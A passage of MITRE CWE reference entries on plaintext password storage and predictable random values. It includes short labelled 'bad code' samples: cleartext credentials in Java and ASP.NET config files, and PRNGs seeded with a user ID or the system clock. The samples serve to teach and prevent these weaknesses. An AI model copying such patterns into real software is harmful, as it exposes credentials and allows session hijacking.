2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-256: Plaintext Storage of a Password

Weakness ID: 256
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Storing a password in plaintext may result in a system compromise.
+ Extended Description
Password management issues occur when a password is stored in plaintext in an application's properties, configuration file, or memory. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. In some contexts, even storage of a plaintext password in memory is considered a security risk if the password is not cleared immediately after it is used.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and DesignDevelopers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this belief makes an attacker's job easier.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code reads a password from a properties file and uses the password to connect to a database.

(bad code)
Example Language: Java 
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 2

The following code reads a password from the registry and uses the password to create a new network credential.

(bad code)
Example Language: Java 
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 3

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 4

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.

+ Observed Examples
ReferenceDescription
Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
+ Potential Mitigations

Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.
A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

Effectiveness: None

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPassword Management
Software Fault PatternsSFP23Exposed Data
ISA/IEC 62443Part 4-2Req CR 1.5
ISA/IEC 62443Part 3-3Req SR 1.5
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution DateContributorOrganization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Other_Notes, Potential_Mitigations, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Name, Relationships
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Description, Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Plaintext Storage
2018-01-23Plaintext Storage of a Password
2018-03-27Plaintext Storage of a Password
2021-07-20Unprotected Storage of Credentials

CWE-342: Predictable Exact Value from Previous Values

Weakness ID: 342
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An exact value or random number can be precisely predicted by observing previous values.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.340Generation of Predictable Numbers or Identifiers
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Observed Examples
ReferenceDescription
Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections.
Listening TCP ports are sequentially allocated, allowing spoofing attacks.
Predictable TCP sequence numbers allow spoofing.
DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results.
+ Potential Mitigations
Increase the entropy used to seed a PRNG.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPredictable Exact Value from Previous Values
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-341: Predictable from Observable State

Weakness ID: 341
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.340Generation of Predictable Numbers or Identifiers
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.339Small Seed Space in PRNG
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.
+ Demonstrative Examples

Example 1

This code generates a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

+ Observed Examples
ReferenceDescription
Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.
PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.
DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.
MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.
+ Potential Mitigations

Phase: Implementation

Increase the entropy used to seed a PRNG.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPredictable from Observable State
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships

CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID: 337
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
+ Extended Description
The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

(bad code)
Example Language: Java 
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
(bad code)
Example Language:
srand(time());
int randNum = rand();

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

+ Observed Examples
ReferenceDescription
Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time.
server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds
The removal of a couple lines of code caused Debian's OpenSSL Package to only use the current process ID for seeding a PRNG
Router's PIN generation is based on rand(time(0)) seeding.
cloud provider product uses a non-cryptographically secure PRNG and seeds it with the current time
+ Potential Mitigations
Use non-predictable inputs for seed generation.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
